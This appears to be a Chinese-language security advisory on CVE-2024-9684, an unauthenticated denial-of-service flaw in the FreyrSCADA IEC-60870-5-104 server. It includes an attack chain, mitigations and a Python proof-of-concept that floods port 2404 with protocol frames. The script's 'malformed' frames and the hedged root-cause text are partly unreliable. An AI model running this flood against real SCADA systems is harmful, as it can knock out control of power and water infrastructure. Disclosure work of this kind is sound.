IPBUF安全漏洞报告
English
CVE-2024-9684 CVSS 7.5 高危

CVE-2024-9684 FreyrSCADA/IEC-60870-5-104 Server拒绝服务漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2024-9684
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FreyrSCADA/IEC-60870-5-104 Server

相关标签

拒绝服务IEC-60870-5-104工业控制系统SCADAFreyrSCADA电力系统CVE-2024-9684

漏洞概述

CVE-2024-9684是FreyrSCADA公司开发的IEC-60870-5-104工业通信协议服务器中存在的一个高危拒绝服务漏洞。该漏洞影响版本v21.06.008,攻击者可以通过网络远程发送特制的消息序列,无需任何认证即可触发服务中断。IEC-60870-5-104协议是电力系统自动化中广泛使用的通信标准,用于SCADA系统和远程终端单元(RTU)之间的数据交换。由于该服务器通常部署在关键基础设施如电网、水处理厂和工业控制系统中,漏洞的成功利用可能导致监控与数据采集系统失效,影响运营连续性。CVSS 3.1评分7.5分(高危),主要影响系统可用性。漏洞由Red Hat安全团队发现并报告,披露日期为2025年12月23日。由于攻击复杂度低且无需用户交互,建议受影响用户尽快采取修复措施。

技术细节

该漏洞存在于FreyrSCADA/IEC-60870-5-104 Server v21.06.008的消息处理逻辑中。IEC-60870-5-104协议基于TCP/IP传输,使用固定的端口编号2404进行通信。攻击者构造包含特定序列的协议消息,当服务器处理这些消息时,会触发内存管理错误或资源耗尽,导致服务崩溃。漏洞利用的关键在于协议状态机的异常处理缺陷,攻击者发送非标准的STARTDT(激活)或STOPDT(停止)命令序列,或利用TESTFR(测试帧)功能的缺陷,造成服务器进程挂起或异常终止。由于服务器采用单线程或同步处理模型,崩溃会直接影响所有连接的客户端。由于无需认证,攻击者可以直接连接目标服务器的2404端口发起攻击,攻击向量为网络层面,复杂度低。

攻击链分析

STEP 1
1
攻击者扫描目标网络,发现运行FreyrSCADA/IEC-60870-5-104 Server的设备,开放端口2404
STEP 2
2
攻击者建立TCP连接到目标服务器的2404端口,无需任何认证
STEP 3
3
发送STARTDT_ACT命令激活数据连接,触发协议状态转换
STEP 4
4
快速发送大量畸形的TESTFR_ACT测试帧或非法的I-Format信息帧
STEP 5
5
服务器消息处理模块在解析异常消息序列时发生错误,导致进程崩溃或资源耗尽
STEP 6
6
服务不可用,所有连接的SCADA客户端失去监控和控制能力,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2024-9684 PoC - FreyrSCADA/IEC-60870-5-104 Server DoS Reference: https://github.com/FreyrSCADA/IEC-60870-5-104/issues/6 """ import socket import struct import time def create_iec104_u_format(control_field): """Create IEC 60870-5-104 U-Format (Unnumbered Control Functions)""" # U-Format: Start Byte (0x68) + Length (0x04) + 4 bytes control field return b'\x68\x04' + control_field def send_malformed_sequence(target_ip, target_port=2404): """ Send malformed message sequences to trigger DoS condition """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # STARTDT ACT (Start Data Transfer - Activation) startdt_act = create_iec104_u_format(b'\x07\x00\x00\x00') sock.send(startdt_act) print("[*] Sent STARTDT_ACT") time.sleep(0.5) # Send malformed TESTFR sequences testfr_act = create_iec104_u_format(b'\x43\x00\x00\x00') for i in range(100): sock.send(testfr_act) time.sleep(0.01) print(f"[*] Sent {100} malformed TESTFR_ACT messages") # STOPDT ACT sequence stopdt_act = create_iec104_u_format(b'\x13\x00\x00\x00') sock.send(stopdt_act) print("[*] Sent STOPDT_ACT") time.sleep(0.5) # Send invalid I-Format (Information Transfer) messages # I-Format: Start Byte + Length + COT + CA + IOA for i in range(50): malformed_iframe = b'\x68\x0E' + struct.pack('>H', i) + b'\x00\x00\x03\x01\x00\x00\x00\x00\xFF\xFF\xFF\xFF' sock.send(malformed_iframe) time.sleep(0.01) print(f"[*] Sent {50} malformed I-Format messages") sock.close() print("[+] Attack completed") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_malformed_sequence(target)

影响范围

FreyrSCADA/IEC-60870-5-104 Server v21.06.008

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1)通过网络防火墙或ACL规则限制对IEC-104服务器端口(2404)的访问,仅允许经过授权的SCADA主站IP地址连接;2)部署网络入侵检测系统,监控并拦截异常的协议消息序列;3)实施网络分段策略,将工控设备隔离在独立的DMZ区域;4)定期备份服务器配置和数据,确保在遭受攻击后能够快速恢复服务;5)考虑使用VPN或IPSec加密通道保护IEC-104通信;6)监控服务器资源使用情况,设置告警阈值以便及时发现异常。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表